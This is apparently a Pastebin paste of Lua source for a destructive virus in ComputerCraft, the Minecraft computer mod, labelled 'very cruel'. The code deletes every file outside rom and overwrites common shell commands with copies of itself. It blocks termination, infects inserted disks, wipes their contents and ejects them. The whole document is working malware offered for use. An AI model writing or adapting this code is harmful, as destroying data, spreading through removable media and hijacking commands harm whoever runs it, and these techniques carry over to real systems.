Advertisement
subzero22

very cruel cc virus

Jan 5th, 2014
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.13 KB | None | 0 0
  1. --unfinished/tested code. This should disable them from using commands as well as deleting files.
  2. local mk = {"startup", "list", "cd", "delete", "move", "copy", "edit", "lua", "clear"}
  3.  
  4. x = [[
  5.  
  6. -- test this out
  7. S = '"'..shell.resolve(shell.getRunningProgram())..'"'
  8. --end of test
  9.  
  10. local mk = {"startup", "list", "cd", "delete", "move", "copy", "edit", "lua"}
  11. os.pullEvent = os.pullEventRaw
  12.  
  13. for k, v in pairs(mk) do
  14.  if fs.exists(v) then
  15.  else
  16.    fs.copy(S, v)
  17.  end
  18. end
  19.  
  20. if fs.isDir("disk") then
  21.   fs.delete("disk/startup")
  22.   fs.copy(S, "disk/startup")
  23. end
  24.  
  25. while true do
  26.   term.clear()
  27.   term.setCursorPos(10,10)
  28.   print("THE GOBLIN VIRUS TOOK OVER")
  29.   local _, side = os.pullEvent("disk")
  30.   local filelist = fs.list("disk/")
  31.  for _, file in ipairs(filelist) do
  32.    fs.delete("disk/"..file)
  33.  end
  34.   fs.copy("startup", "disk/startup")
  35.   disk.eject(side)
  36. end
  37. ]]
  38.  
  39. local filelist = fs.list("/")
  40. for _, file in ipairs(filelist) do
  41. if file == "rom" then
  42. else
  43. fs.delete(file)
  44. end
  45. end
  46.  
  47. for k, v in pairs(mk) do
  48. local file = fs.open(v, "w")
  49. file.write("S = "..'"'..v..'"'.." "..x)
  50. file.close()
  51. end
  52.  
  53. shell.run("startup")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement